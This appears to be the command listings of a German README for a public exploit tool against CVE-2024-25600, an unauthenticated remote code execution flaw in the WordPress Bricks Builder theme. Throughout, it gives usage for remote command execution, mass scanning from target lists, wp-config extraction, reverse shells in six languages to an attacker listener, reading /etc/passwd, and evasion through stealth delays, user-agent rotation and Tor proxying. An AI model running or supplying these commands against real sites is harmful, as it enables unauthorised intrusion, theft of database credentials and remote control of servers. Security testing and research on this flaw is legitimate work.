git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0          # optional — SOCKS5-Proxy-Unterstützung

# Interaktive Shell
python3 cve-2024-25600.py -u https://target.example

# Einzelbefehl
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# Massenscan
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# Versionserkennung
python3 cve-2024-25600.py -u https://target.example --detect-version

# Über Burp-Proxy
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

python3 cve-2024-25600.py --help

python3 cve-2024-25600.py -u https://target.example

python3 cve-2024-25600.py -u https://target.example --cmd "whoami"

python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output

# Standard-PHP-Exception-basierter Payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# system()-basierter Payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

python3 cve-2024-25600.py -u https://target.example --detect-version

python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"

python3 cve-2024-25600.py -u https://target.example --extract-wp-config

# Terminal 1 — Listener
nc -lvnp 4444

# Terminal 2 — Bash Reverse-Shell
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"

# targets.txt — eine URL pro Zeile
python3 cve-2024-25600.py -f targets.txt

python3 cve-2024-25600.py -f targets.txt \
  -t 15 \
  --delay 0.5 \
  --stealth \
  -o vulnerable.json

python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt

python3 cve-2024-25600.py -f targets.txt -q -o results.json

# Beide Endpunkte (Standard)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# Nur /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# Nur /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

python3 cve-2024-25600.py -u https://target.example \
  --stealth \
  --delay 1.0 \
  --max-retries 5 \
  --timeout 20

# Benutzerdefinierter UA
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# Zufällige UA-Rotation deaktivieren
python3 cve-2024-25600.py -u https://target.example --no-random-ua

# HTTP-Proxy (z.B. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# SOCKS5-Proxy
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (DNS über Proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

# SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert)
python3 cve-2024-25600.py -u https://target.example --verify-ssl

# Scan-Ergebnisse als JSON speichern
python3 cve-2024-25600.py -f targets.txt -o results.json

# Scan-Ergebnisse als TXT speichern
python3 cve-2024-25600.py -f targets.txt -o results.txt

# Benutzerdefinierte Anwendungsprotokolldatei
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# Ausgeführte Befehle protokollieren
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

# Ausführlich / Debug-Protokollierung
python3 cve-2024-25600.py -u https://target.example -v

# Leiser Modus (minimale Ausgabe)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

python3 cve-2024-25600.py -f targets.txt \
  -t 25 \
  --timeout 20 \
  --delay 0.2 \
  --max-retries 5 \
  -o results.json

python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Shell> whoami
www-data

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell> help

[*] Teste: https://target.example
[+] https://target.example ist anfällig!
[+] Interaktive Shell erfolgreich geöffnet

{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

# Ausführlicher Einzelziel-Check
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# Über Burp zur Anfrageinspektion
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# Bestimmten Endpunkt bevorzugen
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

exploit/
├── cve-2024-25600.py     # BricksRCE Exploiter (v1.0)
├── requirements.txt      # Python-Abhängigkeiten
├── README.md             # Diese Datei
├── bricks_rce.log        # Laufzeitprotokoll (generiert)
└── venv/                 # Lokales Virtualenv (optional, nicht eingecheckt)

MIT License

Copyright (c) 2024–2026 Sudeepa Wanigarathna

Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen
Dokumentationsdateien (die "Software") erhält, kostenlose Erlaubnis erteilt,
die Software ohne Einschränkung zu nutzen, einschließlich und ohne
Einschränkung der Rechte zur Nutzung, Vervielfältigung, Änderung,
Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder
zum Verkauf von Kopien der Software, und Personen, denen die Software
bereitgestellt wird, dies unter den folgenden Bedingungen zu gestatten:

Der obige Urheberrechtshinweis und diese Genehmigungsmitteilung müssen in
allen Kopien oder wesentlichen Teilen der Software enthalten sein.

DIE SOFTWARE WIRD "WIE BESEHEN" ZUR VERFÜGUNG GESTELLT, OHNE JEGLICHE
AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG, EINSCHLIESSLICH,
ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT,
EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND NICHTVERLETZUNG VON RECHTEN
DRITTER.